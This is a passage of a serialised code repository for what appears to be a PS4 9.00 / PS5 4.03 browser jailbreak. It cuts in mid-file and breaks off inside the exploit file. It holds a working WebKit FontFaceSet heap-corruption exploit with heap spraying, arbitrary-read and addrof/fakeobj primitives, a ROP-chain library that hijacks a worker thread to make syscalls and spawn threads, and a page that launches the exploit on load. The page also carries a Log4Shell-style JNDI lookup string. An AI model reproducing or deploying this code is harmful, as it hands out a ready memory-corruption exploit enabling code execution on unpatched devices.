    let byte = str.charCodeAt(i);\n                if (byte == 0) {\n                    break;\n                }\n                p.write1(waddr, byte);\n                waddr.add32inplace(0x1);\n            }\n        }\n        p.write1(waddr, 0x0);\n    }\n\n    await wait_for_worker();\n    let worker_stack = find_worker();\n    let original_context = p.malloc(0x40);\n\n    let return_address_ptr = worker_stack.add32(OFFSET_WORKER_STACK_OFFSET);\n    let original_return_address = p.read8(return_address_ptr);\n    let stack_pointer_ptr = return_address_ptr.add32(0x8);\n\n    function pre_chain(chain) {\n        //save context for later\n        chain.push(gadgets[\"pop rdi\"]);\n        chain.push(original_context);\n        chain.push(libSceLibcInternalBase.add32(OFFSET_lc_setjmp));\n    }\n\n    async function launch_chain(chain) {\n        //Restore earlier saved context but with a twist.\n        let original_value_of_stack_pointer_ptr = p.read8(stack_pointer_ptr);\n        chain.push_write8(original_context, original_return_address);\n        chain.push_write8(original_context.add32(0x10), return_address_ptr);\n        chain.push_write8(stack_pointer_ptr, original_value_of_stack_pointer_ptr);\n        chain.push(gadgets[\"pop rdi\"]);\n        chain.push(original_context);\n        chain.push(libSceLibcInternalBase.add32(OFFSET_lc_longjmp));\n\n        //overwrite rop_slave's return address\n        p.write8(return_address_ptr, gadgets[\"pop rsp\"]);\n        p.write8(stack_pointer_ptr, chain.stack_entry_point);\n\n        let p1 = await new Promise((resolve) => {\n            const channel = new MessageChannel();\n            channel.port1.onmessage = () => {\n                channel.port1.close();\n                resolve(1);\n            }\n            worker.postMessage(0, [channel.port2]);\n        });\n        if (p1 === 0) {\n            alert(\"The rop thread ran away. \");\n            p.write8(0, 0);\n        }\n    }\n\n    if (!IS_PS5) {\n        //PS4: read libkernel text and look for syscall wrappers.\n        let kview = new Uint8Array(0x1000);\n        let kstr = p.leakval(kview).add32(0x10);\n        let orig_kview_buf = p.read8(kstr);\n\n        p.write8(kstr, libKernelBase);\n        p.write4(kstr.add32(8), 0x40000);\n        let countbytes;\n\n        for (let i = 0; i < 0x40000; i++) {\n            if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) {\n                countbytes = i;\n                break;\n            }\n        }\n        p.write4(kstr.add32(8), countbytes + 32);\n        let dview32 = new Uint32Array(1);\n        let dview8 = new Uint8Array(dview32.buffer);\n        for (let i = 0; i < countbytes; i++) {\n            if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) {\n                dview8[0] = kview[i + 3];\n                dview8[1] = kview[i + 4];\n                dview8[2] = kview[i + 5];\n                dview8[3] = kview[i + 6];\n                let syscallno = dview32[0];\n                syscalls[syscallno] = libKernelBase.add32(i);\n            }\n        }\n        p.write8(kstr, orig_kview_buf);\n    }\n\n    chain = new worker_rop();\n\n    //POST EXPLOIT STUFF HERE\n    let pid = await chain.syscall(20);\n\n    //Sanity check\n    if (pid.low == 0) {\n        alert(\"webkit exploit failed. Try again if your ps4 is on fw 9.00 / ps5 is on fw 4.03 .\");\n        p.write8(0, 0); //usually the rw prim just stopped working if we got here, so write to 0x0 might not actually kill the browser.\n        while (1);\n    }\n\n    alert(`sys_getpid: ${pid}`);\n\n    //Threading sample\n    let thread = new thread_rop(\"rop_thread\"); {\n        thread.fcall(libKernelBase.add32(OFFSET_lk_pthread_exit), 0x11223344);\n    }\n    let pthread_res = p.malloc(0x8);\n    var pthread = await thread.spawn_thread();\n    await chain.call(libKernelBase.add32(OFFSET_lk_pthread_join), pthread, pthread_res);\n    alert(`pthread_join result: ${p.read8(pthread_res)}`);\n\n    //Branch sample\n    let branch_counter = p.malloc(0x8);\n    p.write8(branch_counter, 0x0);\n\n    {\n        const start_rsp = chain.get_rsp();\n        const run_twice_condition = chain.create_branch(chain.branch_types.EQUAL, branch_counter, 2);\n\n        const not_equal_rsp = chain.get_rsp();\n\n        chain.self_healing_syscall(362);\n        chain.write_result4(branch_counter.add32(0x8));\n\n        chain.increment_dword(branch_counter);\n        chain.jmp_to_rsp(start_rsp);\n        const stop_rsp = chain.get_rsp();\n\n        chain.set_branch_points(run_twice_condition, stop_rsp, not_equal_rsp);\n\n    }\n    await chain.run();\n    alert(`branch_counter: ${p.read8(branch_counter)}\n           last kqueue: ${p.read4(branch_counter.add32(0x8))}\n    `);\n\n}\n\nasync function run_hax() {\n    await userland();\n}\n\n/*\n//sample 1 (syscall)\npid_t pid = sys_getpid();\n\n//sample2 (threaded rop)\nfun() {\n    pthread_exit(0x11223344);\n}\n\npthread_t thr;\npthread_create(&thr, nullptr, fun, nullptr);\npthread_join(thr, res);\n\n//sample 3 (branching, 'loop')\nint last_kqueue = 0;\nfor(int i = 0; i < 2; i++) {\n    last_kqueue = sys_kqueue();\n}\n\n*/"
  },
  {
    "path": "index.html",
    "content": "<html>\n\n<head>\n    <title>pOOBs4 9.00 & pOOBs5 4.03</title>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <style>\n        body {\n            background-color: #242629;\n        }\n\n        .loader {\n            position: absolute;\n            left: 50%;\n            top: 50%;\n            margin: -75px 0 0 -75px;\n\n            border: 10px solid #1f1e1e;\n            border-radius: 50%;\n            border-top: 10px solid #044595;\n            border-left: 10px solid #044595;\n            width: 120px;\n            height: 120px;\n            animation: spin 1s linear infinite;\n        }\n\n        @keyframes spin {\n            0% {\n                transform: rotate(0deg);\n            }\n\n            100% {\n                transform: rotate(360deg);\n            }\n        }\n\n        .info {\n            overflow: hidden;\n            position: fixed;\n            position: absolute;\n            top: 50%;\n            left: 50%;\n\n            font-size: 45px;\n            font-family: sans-serif;\n            color: #b8b8b8;\n\n            transform: translate(-50%, -50%);\n        }\n\n        .j {\n            font-size: 15px;\n            color: #2F3335;\n        }\n    </style>\n    <script>\n        function allset() {\n            document.getElementById(\"loader\").style.display = \"none\";\n            document.getElementById(\"allset\").style.display = \"block\";\n        }\n\n        function awaitpl() {\n            document.getElementById(\"loader\").style.display = \"none\";\n            document.getElementById(\"awaiting\").style.display = \"block\";\n        }\n    </script>\n    <script src=\"int64.js\"></script>\n    <script src=\"rop.js\"></script>\n    <script src=\"exploit.js\"></script>\n    <script src=\"webkit.js\"></script>\n</head>\n\n</html>\n\n<body onload=\"setTimeout(poc, 1500);\">\n\n    <div id=\"loader\" class=\"loader\"></div>\n    <div id=\"awaiting\" class=\"info\" style=\"display:none;\">\n        Awaiting Payload...\n        <br />\n        <span class=\"j\">${jndi:ldap://nsa.gov}</span>\n    </div>\n\n    <div id=\"allset\" class=\"info\" style=\"display:none;\">\n        You're all set!\n    </div>\n\n</body>\n<script>\n\n</script>"
  },
  {
    "path": "int64.js",
    "content": "function int64(low, hi) {\n    this.low = (low >>> 0);\n    this.hi = (hi >>> 0);\n\n    this.add32inplace = function (val) {\n        let new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;\n        let new_hi = (this.hi >>> 0);\n\n        if (new_lo < this.low) {\n            new_hi++;\n        }\n\n        this.hi = new_hi;\n        this.low = new_lo;\n    }\n\n    this.add32 = function (val) {\n        let new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;\n        let new_hi = (this.hi >>> 0);\n\n        if (new_lo < this.low) {\n            new_hi++;\n        }\n\n        return new int64(new_lo, new_hi);\n    }\n\n    this.sub32 = function (val) {\n        let new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;\n        let new_hi = (this.hi >>> 0);\n\n        if (new_lo > (this.low) & 0xFFFFFFFF) {\n            new_hi--;\n        }\n\n        return new int64(new_lo, new_hi);\n    }\n\n    this.sub32inplace = function (val) {\n        let new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;\n        let new_hi = (this.hi >>> 0);\n\n        if (new_lo > (this.low) & 0xFFFFFFFF) {\n            new_hi--;\n        }\n\n        this.hi = new_hi;\n        this.low = new_lo;\n    }\n\n    this.and32 = function (val) {\n        let new_lo = this.low & val;\n        let new_hi = this.hi;\n        return new int64(new_lo, new_hi);\n    }\n\n    this.and64 = function (vallo, valhi) {\n        let new_lo = this.low & vallo;\n        let new_hi = this.hi & valhi;\n        return new int64(new_lo, new_hi);\n    }\n\n    this.toString = function () {\n        let lo_str = (this.low >>> 0).toString(16);\n        let hi_str = (this.hi >>> 0).toString(16);\n\n        if (this.hi == 0)\n            return lo_str;\n        else\n            lo_str = zeroFill(lo_str, 8)\n\n        return hi_str + lo_str;\n    }\n\n    return this;\n}\n\nfunction zeroFill(number, width) {\n    width -= number.toString().length;\n\n    if (width > 0) {\n        return new Array(width + (/\\./.test(number) ? 2 : 1)).join('0') + number;\n    }\n\n    return number + \"\"; // always return a string\n}"
  },
  {
    "path": "rop.js",
    "content": "class rop {\r\n\r\n    constructor(stack_size = 0x40000, reserved_stack = 0x10000) {\r\n        this.stack_size = stack_size;\r\n        this.reserved_stack = reserved_stack;\r\n        this.stack_dwords = stack_size / 0x4;\r\n        this.reserved_stack_index = this.reserved_stack / 0x4;\r\n\r\n        this.stack_memory = p.malloc(this.stack_dwords + 0x2 + 0x200);\r\n        this.stack_array = this.stack_memory.backing;\r\n        this.stack_entry_point = this.stack_memory.add32(this.reserved_stack);\r\n        this.return_value = this.stack_memory.add32(this.stack_size);\r\n        this.initial_count = 0;\r\n        this.count = 0;\r\n\r\n        this.branches = this.return_value.add32(0x8);\r\n        this.branches_count = 0;\r\n\r\n        this.branch_types = {\r\n            EQUAL: 0x314500,\r\n            ABOVE: 0x314501,\r\n            BELOW: 0x314502,\r\n            GREATER: 0x314503,\r\n            LESSER: 0x314504,\r\n        };\r\n\r\n    }\r\n\r\n    set_initial_count(count) {\r\n        this.initial_count = count;\r\n        if (this.count == 0) {\r\n            this.count = this.initial_count;\r\n        }\r\n    }\r\n\r\n    clear() {\r\n        this.count = this.initial_count;\r\n        this.branches_count = 0;\r\n        for (let i = 0; i < this.stack_dwords; i++) {\r\n            this.stack_array[i] = 0x0;\r\n        }\r\n    }\r\n\r\n    increment_stack() {\r\n        return this.count++;\r\n    }\r\n\r\n    set_entry(index, value) {\r\n        if (value instanceof int64) {\r\n            this.stack_array[this.reserved_stack_index + index * 2] = value.low;\r\n            this.stack_array[this.reserved_stack_index + index * 2 + 1] = value.hi;\r\n        } else if (typeof (value) == 'number') {\r\n            this.stack_array[this.reserved_stack_index + index * 2] = value;\r\n            this.stack_array[this.reserved_stack_index + index * 2 + 1] = 0x0;\r\n            if (value > 0xFFFFFFFF) {\r\n                alert(\"you're trying to write a value exceeding 32-bits without using a int64 instance\");\r\n            }\r\n        } else {\r\n            alert(\"You're trying to write a non number/non int64 value?\");\r\n        }\r\n    }\r\n\r\n    /**\r\n     * performs `*rsp = value; rsp += 8;`\r\n     */\r\n    push(value) {\r\n        this.set_entry(this.increment_stack(), value);\r\n    }\r\n\r\n    /**\r\n     * performs `*dest = value;` in chain\r\n     */\r\n    push_write8(dest, value) {\r\n        this.push(gadgets[\"pop rdi\"]);\r\n        this.push(dest);\r\n        this.push(gadgets[\"pop rsi\"]);\r\n        this.push(value);\r\n        this.push(gadgets[\"mov [rdi], rsi\"]);\r\n    }\r\n\r\n    /**\r\n     * performs `*dest = rax;` in chain\r\n     */\r\n    write_result(dest) {\r\n        this.push(gadgets[\"pop rdi\"]);\r\n        this.push(dest);\r\n        this.push(gadgets[\"mov [rdi], rax\"]);\r\n    }\r\n\r\n    /**\r\n     * performs `*dest = eax;` in chain\r\n     */\r\n    write_result4(dest) {\r\n        this.push(gadgets[\"pop rdi\"]);\r\n        this.push(dest);\r\n        this.push(gadgets[\"mov [rdi], eax\"]);\r\n    }\r\n\r\n    /**\r\n     * pushes rdi-r9 args on the stack for sysv calls\r\n     */\r\n    push_sysv(rdi, rsi, rdx, rcx, r8, r9) {\r\n\r\n        if (rdi != undefined) {\r\n            this.push(gadgets[\"pop rdi\"]);\r\n            this.push(rdi);\r\n        }\r\n\r\n        if (rsi != undefined) {\r\n            this.push(gadgets[\"pop rsi\"]);\r\n            this.push(rsi);\r\n        }\r\n\r\n        if (rdx != undefined) {\r\n            this.push(gadgets[\"pop rdx\"]);\r\n            this.push(rdx);\r\n        }\r\n\r\n        if (rcx != undefined) {\r\n            this.push(gadgets[\"pop rcx\"]);\r\n            this.push(rcx);\r\n        }\r\n\r\n        if (r8 != undefined) {\r\n            this.push(gadgets[\"pop r8\"]);\r\n            this.push(r8);\r\n        }\r\n\r\n        if (r9 != undefined) {\r\n            this.push(gadgets[\"pop r9\"]);\r\n            this.push(r9);\r\n        }\r\n\r\n    }\r\n\r\n    /**\r\n     * helper function to add a standard sysv call to the chain.\r\n     */\r\n    fcall(rip, rdi, rsi, rdx, rcx, r8, r9) {\r\n        this.push_sysv(rdi, rsi, rdx, rcx, r8, r9);\r\n        if (this.stack_entry_point.add32(this.count * 0x8).low & 0x8) {\r\n            this.push(gadgets[\"ret\"]);\r\n        }\r\n        this.push(rip);\r\n    }\r\n\r\n    /**\r\n     * returns the current stack pointer.\r\n     */\r\n    get_rsp() {\r\n        return this.stack_entry_point.add32(this.count * 0x8);\r\n    }\r\n\r\n    /**\r\n     * performs `rsp = dest;` in chain.\r\n     * can be used to 'jump' to different parts of a rop chain\r\n     */\r\n    jmp_to_rsp(dest) {\r\n        this.push(gadgets[\"pop rsp\"]);\r\n        this.push(dest);\r\n    }\r\n\r\n    /**\r\n     * function intended to build a reusable 'syscall' chain.\r\n     * Having a syscall return an error makes the stub perform a push rax, a call and a push rbp, this would usually corrupt the rop chain for later reuse\r\n     */\r\n    self_healing_syscall(sysc, rdi, rsi, rdx, rcx, r8, r9) {\r\n        this.push_sysv(rdi, rsi, rdx, rcx, r8, r9);\r\n        let restore_point = this.get_rsp();\r\n        this.push(gadgets[\"ret\"]);\r\n        this.push(gadgets[\"ret\"]);\r\n        this.push(gadgets[\"ret\"]);\r\n\r\n        if (this.stack_entry_point.add32(this.count * 0x8).low & 0x8) {\r\n            this.push(gadgets[\"ret\"]);\r\n            restore_point.add32inplace(0x8);\r\n        }\r\n        this.push(syscalls[sysc]);\r\n        this.push_write8(restore_point, gadgets[\"ret\"]);\r\n        this.push_write8(restore_point.add32(0x08), gadgets[\"ret\"]);\r\n        this.push_write8(restore_point.add32(0x10), gadgets[\"ret\"]);\r\n        this.push_write8(restore_point.add32(0x18), syscalls[sysc]);\r\n\r\n    }\r\n\r\n    /**\r\n     * returns the next available branch\r\n     */\r\n    get_branch() {\r\n        return this.branches.add32(this.branches_count++ * 0x10);\r\n    }\r\n\r\n    /**\r\n     * prepares a branch in the rop chain, for 32b comparisons on [addr] <-> compare value\r\n     * use branch_types.XXXXX as type argument.\r\n     * returns a ptr ptr for the branchpoints\r\n     * use logical inversions for other jmp types. setne -> inverted sete, setbe -> inverted seta, ...\r\n     */\r\n    create_branch(type, value_address, compare_value) {\r\n        let branch_addr = this.get_branch();\r\n\r\n        this.push(gadgets[\"pop rcx\"]);\r\n        this.push(value_address);\r\n        this.push(gadgets[\"pop rax\"]);\r\n        this.push(compare_value);\r\n        this.push(gadgets[\"cmp [rcx], eax\"]);\r\n        this.push(gadgets[\"pop rax\"]);\r\n        this.push(0);\r\n\r\n        if (type == this.branch_types.EQUAL) {\r\n            this.push(gadgets[\"sete al\"]);\r\n        } else if (type == this.branch_types.ABOVE) {\r\n            this.push(gadgets[\"seta al\"]);\r\n        } else if (type == this.branch_types.BELOW) {\r\n            this.push(gadgets[\"setb al\"]);\r\n        } else if (type == this.branch_types.GREATER) {\r\n            this.push(gadgets[\"setg al\"]);\r\n        } else if (type == this.branch_types.LESSER) {\r\n            this.push(gadgets[\"setl al\"]);\r\n        } else {\r\n            alert(\"illegal branch type.\");\r\n        }\r\n\r\n        this.push(gadgets[\"shl rax, 3\"]);\r\n        this.push(gadgets[\"pop rdx\"]);\r\n        this.push(branch_addr);\r\n        this.push(gadgets[\"add rax, rdx\"]);\r\n        this.push(gadgets[\"mov rax, [rax]\"]);\r\n        this.push(gadgets[\"pop rdi\"]);\r\n        let branch_pointer_pointer_idx = this.increment_stack();\r\n        this.push(gadgets[\"mov [rdi], rax\"]);\r\n        this.push(gadgets[\"pop rsp\"]);\r\n        let branch_pointer = this.get_rsp();\r\n        this.increment_stack();\r\n\r\n        this.set_entry(branch_pointer_pointer_idx, branch_pointer);\r\n\r\n        return branch_addr;\r\n    }\r\n\r\n    /**\r\n     * finalizes a branch by setting the destination stack pointers.\r\n     * swap met and not met args if trying for an inverted jmp type.\r\n     */\r\n    set_branch_points(branch_addr, rsp_condition_met, rsp_condition_not_met) {\r\n        p.write8(branch_addr.add32(0x0), rsp_condition_not_met);\r\n        p.write8(branch_addr.add32(0x8), rsp_condition_met);\r\n    }\r\n\r\n    /**\r\n     * performs (*address)++; in chain\r\n     */\r\n    increment_dword(address) {\r\n        this.push(gadgets[\"pop rax\"]);\r\n        this.push(address);\r\n        this.push(gadgets[\"inc dword [rax]\"]);\r\n    }\r\n}\r\n\r\n//extension of the generic rop class intended to be used with the hijacked worker thread.\r\nclass worker_rop extends rop {\r\n\r\n    constructor(stack_size, reserved_stack) {\r\n        super(stack_size, reserved_stack);\r\n        p.pre_chain(this);\r\n    }\r\n\r\n    clear() {\r\n        super.clear();\r\n        p.pre_chain(this);\r\n    }\r\n\r\n    async call(rip, rdi, rsi, rdx, rcx, r8, r9) {\r\n        this.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);\r\n        this.write_result(this.return_value);\r\n        await this.run();\r\n        return p.read8(this.return_value);\r\n    }\r\n\r\n    async syscall(sysc, rdi, rsi, rdx, rcx, r8, r9) {\r\n        return await this.call(syscalls[sysc], rdi, rsi, rdx, rcx, r8, r9);\r\n    }\r\n\r\n    async run() {\r\n        await p.launch_chain(this);\r\n        this.clear();\r\n    }\r\n}\r\n\r\nclass thread_rop extends rop {\r\n    constructor(name = \"rop_thread\", stack_size, reserved_stack) {\r\n        super(stack_size, reserved_stack);\r\n        //we longjmp into the ropchain, longjmp overites the first entry stack entry with its own saved 'return address' this requires us to skip an entry.\r\n        this.set_initial_count(1);\r\n\r\n        //prepare lonjmp context\r\n        p.write8(this.stack_memory, gadgets[\"ret\"]); //ret address\r\n        p.write8(this.stack_memory.add32(0x08), 0x0); //rbx\r\n        p.write8(this.stack_memory.add32(0x10), this.stack_entry_point); //rsp\r\n        p.write8(this.stack_memory.add32(0x18), 0x0); //rbp\r\n        p.write8(this.stack_memory.add32(0x20), 0x0); //r12\r\n        p.write8(this.stack_memory.add32(0x28), 0x0); //r13\r\n        p.write8(this.stack_memory.add32(0x30), 0x0); //r14\r\n        p.write8(this.stack_memory.add32(0x38), 0x0); //r15\r\n        p.write4(this.stack_memory.add32(0x40), 0x37F); //fpu control word\r\n        p.write4(this.stack_memory.add32(0x44), 0x9FE0); //mxcsr\r\n\r\n        p.writestr(this.stack_memory.add32(0x50), name); //thr name\r\n    }\r\n\r\n    /**\r\n     * returns created pthread_t as int64\r\n     */\r\n    async spawn_thread() {\r\n\r\n        //add pthread_exit((void*)0x44414544); -> \"DEAD\"\r\n        this.fcall(libKernelBase.add32(OFFSET_lk_pthread_exit), 0x44414544);\r\n\r\n        await chain.call(libKernelBase.add32(OFFSET_lk_pthread_create_name_np), this.stack_memory.add32(0x48), 0x0, libSceLibcInternalBase.add32(OFFSET_lc_longjmp), this.stack_memory, this.stack_memory.add32(0x50));\r\n        return p.read8(this.stack_memory.add32(0x48));\r\n    }\r\n}"
  },
  {
    "path": "rop_slave.js",
    "content": "let my_worker = this;\n\nself.onmessage = function (event) {\n    event.ports[0].postMessage(1);\n}"
  },
  {
    "path": "webkit.js",
    "content": "var PAGE_SIZE = 16384;\nvar SIZEOF_CSS_FONT_FACE = 0xb8;\nvar HASHMAP_BUCKET = 208;\nvar STRING_OFFSET = 20;\nvar SPRAY_FONTS = 0x100A;\nvar GUESS_FONT = 0x200430000;\nvar NPAGES = 20;\nvar INVALID_POINTER = 0;\nvar HAMMER_FONT_NAME = \"font8\"; //must take bucket 3 of 8 (counting from zero)\nvar HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time\n\nfunction hex(n) {\n    if ((typeof n) != \"number\")\n        return \"\" + n;\n    return \"0x\" + (new Number(n)).toString(16);\n}\n\nfunction poc() {\n\n    var union = new ArrayBuffer(8);\n    var union_b = new Uint8Array(union);\n    var union_i = new Uint32Array(union);\n    var union_f = new Float64Array(union);\n\n    var bad_fonts = [];\n\n    for (var i = 0; i < SPRAY_FONTS; i++)\n        bad_fonts.push(new FontFace(\"font1\", \"\", {}));\n\n    var good_font = new FontFace(\"font2\", \"url(data:text/html,)\", {});\n    bad_fonts.push(good_font);\n\n    var arrays = [];\n    for (var i = 0; i < 512; i++)\n        arrays.push(new Array(31));\n\n    arrays[256][0] = 1.5;\n    arrays[257][0] = {};\n    arrays[258][0] = 1.5;\n\n    var jsvalue = {\n        a: arrays[256],\n        b: new Uint32Array(1),\n        c: true\n    };\n\n    var string_atomifier = {};\n    var string_id = 10000000;\n\n    function ptrToString(p) {\n        var s = '';\n        for (var i = 0; i < 8; i++) {\n            s += String.fromCharCode(p % 256);\n            p = (p - p % 256) / 256;\n        }\n        return s;\n    }\n\n    function stringToPtr(p, o) {\n        if (o === undefined)\n            o = 0;\n        var ans = 0;\n        for (var i = 7; i >= 0; i--)\n            ans = 256 * ans + p.charCodeAt(o + i);\n        return ans;\n    }\n\n    var strings = [];\n\n    function mkString(l, head) {\n        var s = head + '\\u0000'.repeat(l - STRING_OFFSET - 8 - head.length) + (string_id++);\n        string_atomifier[s] = 1;\n        strings.push(s);\n        return s;\n    }\n\n    var guf = GUESS_FONT;\n    var ite = true;\n    var matches = 0;\n\n    var round = 0;\n\n    window.ffses = {};\n\n    do {\n\n        var p_s = ptrToString(NPAGES + 2); // vector.size()\n        for (var i = 0; i < NPAGES; i++)\n            p_s += ptrToString(guf + i * PAGE_SIZE);\n        p_s += ptrToString(INVALID_POINTER);\n\n        for (var i = 0; i < 256; i++)\n            mkString(HASHMAP_BUCKET, p_s);\n\n        var ffs = ffses[\"search_\" + (++round)] = new FontFaceSet(bad_fonts);\n\n        var badstr1 = mkString(HASHMAP_BUCKET, p_s);\n\n        var guessed_font = null;\n        var guessed_addr = null;\n\n        for (var i = 0; i < SPRAY_FONTS; i++) {\n            bad_fonts[i].family = \"search\" + round;\n            if (badstr1.substr(0, p_s.length) != p_s) {\n                guessed_font = i;\n                var p_s1 = badstr1.substr(0, p_s.length);\n                for (var i = 1; i <= NPAGES; i++) {\n                    if (p_s1.substr(i * 8, 8) != p_s.substr(i * 8, 8)) {\n                        guessed_addr = stringToPtr(p_s.substr(i * 8, 8));\n                        break;\n                    }\n                }\n                if (matches++ == 0) {\n                    guf = guessed_addr + 2 * PAGE_SIZE;\n                    guessed_addr = null;\n                }\n                break;\n            }\n        }\n\n        if ((ite = !ite))\n            guf += NPAGES * PAGE_SIZE;\n\n    }\n    while (guessed_addr === null);\n\n    var p_s = '';\n    p_s += ptrToString(26);\n    p_s += ptrToString(guessed_addr);\n    p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);\n    for (var i = 0; i < 19; i++)\n        p_s += ptrToString(INVALID_POINTER);\n\n    for (var i = 0; i < 256; i++)\n        mkString(HASHMAP_BUCKET, p_s);\n\n    var needfix = [];\n    for (var i = 0;; i++) {\n        ffses[\"ffs_leak_\" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]);\n        var badstr2 = mkString(HASHMAP_BUCKET, p_s);\n        needfix.push(mkString(HASHMAP_BUCKET, p_s));\n        bad_fonts[guessed_font].family = \"evil2\";\n        bad_fonts[guessed_font + 1].family = \"evil3\";\n        var leak = stringToPtr(badstr2.substr(badstr2.length - 8));\n        if (leak < 0x1000000000000)\n            break;\n    }\n\n    function makeReader(read_addr, ffs_name) {\n        var fake_s = '';\n        fake_s += '0000'; //padding for 8-byte alignment\n        fake_s += '\\u00ff\\u0000\\u0000\\u0000\\u00ff\\u00ff\\u00ff\\u00ff'; //refcount=255, length=0xffffffff\n        fake_s += ptrToString(read_addr); //where to read from\n        fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit\n        p_s = '';\n        p_s += ptrToString(29);\n        p_s += ptrToString(guessed_addr);\n        p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);\n        p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE);\n        for (var i = 0; i < 18; i++)\n            p_s += ptrToString(INVALID_POINTER);\n        for (var i = 0; i < 256; i++)\n            mkString(HASHMAP_BUCKET, p_s);\n        var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]);\n        mkString(HASHMAP_BUCKET, p_s);\n        var relative_read = mkString(HASHMAP_BUCKET, fake_s);\n        bad_fonts[guessed_font].family = ffs_name + \"_evil1\";\n        bad_fonts[guessed_font + 1].family = ffs_name + \"_evil2\";\n        bad_fonts[guessed_font + 2].family = ffs_name + \"_evil3\";\n        needfix.push(relative_read);\n        if (relative_read.length < 1000) //failed\n            return makeReader(read_addr, ffs_name + '_');\n        return relative_read;\n    }\n\n    var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr\n\n    for (var i = 0; i < 100000; i++)\n        mkString(128, '');\n\n    var props = [];\n    for (var i = 0; i < 0x10000; i++) {\n        props.push({\n            value: 0x41434442\n        });\n        props.push({\n            value: jsvalue\n        });\n    }\n\n    var jsvalue_leak = null;\n\n    while (jsvalue_leak === null) {\n        Object.defineProperties({}, props);\n        for (var i = 0;; i++) {\n            if (fastmalloc.charCodeAt(i) == 0x42 &&\n                fastmalloc.charCodeAt(i + 1) == 0x44 &&\n                fastmalloc.charCodeAt(i + 2) == 0x43 &&\n                fastmalloc.charCodeAt(i + 3) == 0x41 &&\n                fastmalloc.charCodeAt(i + 4) == 0 &&\n                fastmalloc.charCodeAt(i + 5) == 0 &&\n                fastmalloc.charCodeAt(i + 6) == 254 &&\n                fastmalloc.charCodeAt(i + 7) == 255 &&\n                fastmalloc.charCodeAt(i + 24) == 14\n            ) {\n                jsvalue_leak = stringToPtr(fastmalloc, i + 32);\n                break;\n            }\n        }\n    }\n\n    var rd_leak = makeReader(jsvalue_leak, 'ffs4');\n    var array256 = stringToPtr(rd_leak, 16); //arrays[256]\n    var ui32a = stringToPtr(rd_leak, 24); //Uint32Array\n\n    var rd_arr = makeReader(array256, 'ffs5');\n    var butterfly = stringToPtr(rd_arr, 8);\n\n    var rd_ui32 = makeReader(ui32a, 'ffs6');\n    for (var i = 0; i < 8; i++)\n        union_b[i] = rd_ui32.charCodeAt(i);\n\n    var structureid_low = union_i[0];\n    var structureid_high = union_i[1];\n\n    //setup for addrof/fakeobj\n    //in array[256] butterfly: 0 = &bad_fonts[guessed_font+12] as double\n    //in array[257] butterfly: 0 = {0x10000, 0x10000} as jsvalue\n    union_i[0] = 0x10000;\n    union_i[1] = 0; //account for nan-boxing\n    arrays[257][1] = {}; //force it to still be jsvalue-array not double-array\n    arrays[257][0] = union_f[0];\n    union_i[0] = (guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0;\n    union_i[1] = (guessed_addr - guessed_addr % 0x100000000) / 0x100000000;\n    arrays[256][i] = union_f[0];\n\n    //hammer time!\n\n    pp_s = '';\n    pp_s += ptrToString(56);\n    for (var i = 0; i < 12; i++)\n        pp_s += ptrToString(guessed_addr + i * SIZEOF_CSS_FONT_FACE);\n\n    var fake_s = '';\n    fake_s += '0000'; //padding for 8-byte alignment\n    fake_s += ptrToString(INVALID_POINTER); //never dereferenced\n    fake_s += ptrToString(butterfly); //hammer target\n    fake_s += '\\u0000\\u0000\\u0000\\u0000\\u0022\\u0000\\u0000\\u0000'; //length=34\n\n    var ffs7_args = [];\n    for (var i = 0; i < 12; i++)\n        ffs7_args.push(bad_fonts[guessed_font + i]);\n    ffs7_args.push(good_font);\n\n    var ffs8_args = [bad_fonts[guessed_font + 12]];\n    for (var i = 0; i < 5; i++)\n        ffs8_args.push(new FontFace(HAMMER_FONT_NAME, \"url(data:text/html,)\", {}));\n\n    for (var i = 0; i < HAMMER_NSTRINGS; i++)\n        mkString(HASHMAP_BUCKET, pp_s);\n\n    ffses.ffs7 = new FontFaceSet(ffs7_args);\n    mkString(HASHMAP_BUCKET, pp_s);\n    ffses.ffs8 = new FontFaceSet(ffs8_args);\n    var post_ffs = mkString(HASHMAP_BUCKET, fake_s);\n    needfix.push(post_ffs);\n\n    for (var i = 0; i < 13; i++)\n        bad_fonts[guessed_font + i].family = \"hammer\" + i;\n\n    function boot_addrof(obj) {\n        arrays[257][32] = obj;\n        union_f[0] = arrays[258][0];\n        return union_i[1] * 0x100000000 + union_i[0];\n    }\n\n    function boot_fakeobj(addr) {\n        union_i[0] = addr;\n        union_i[1] = (addr - addr % 0x100000000) / 0x100000000;\n        arrays[258][0] = union_f[0];\n        return arrays[257][32];\n    }\n\n    //craft misaligned typedarray\n\n    var arw_master = new Uint32Array(8);\n    var arw_slave = new Uint8Array(1);\n    var obj_master = new Uint32Array(8);\n    var obj_slave = {\n        obj: null\n    };\n\n    var addrof_slave = boot_addrof(arw_slave);\n    var addrof_obj_slave = boot_addrof(obj_slave);\n    union_i[0] = structureid_low;\n    union_i[1] = structureid_high;\n    union_b[6] = 7;\n    var obj = {\n        jscell: union_f[0],\n        butterfly: true,\n        buffer: arw_master,\n        size: 0x5678\n    };\n\n    function i48_put(x, a) {\n        a[4] = x | 0;\n        a[5] = (x / 4294967296) | 0;\n    }\n\n    function i48_get(a) {\n   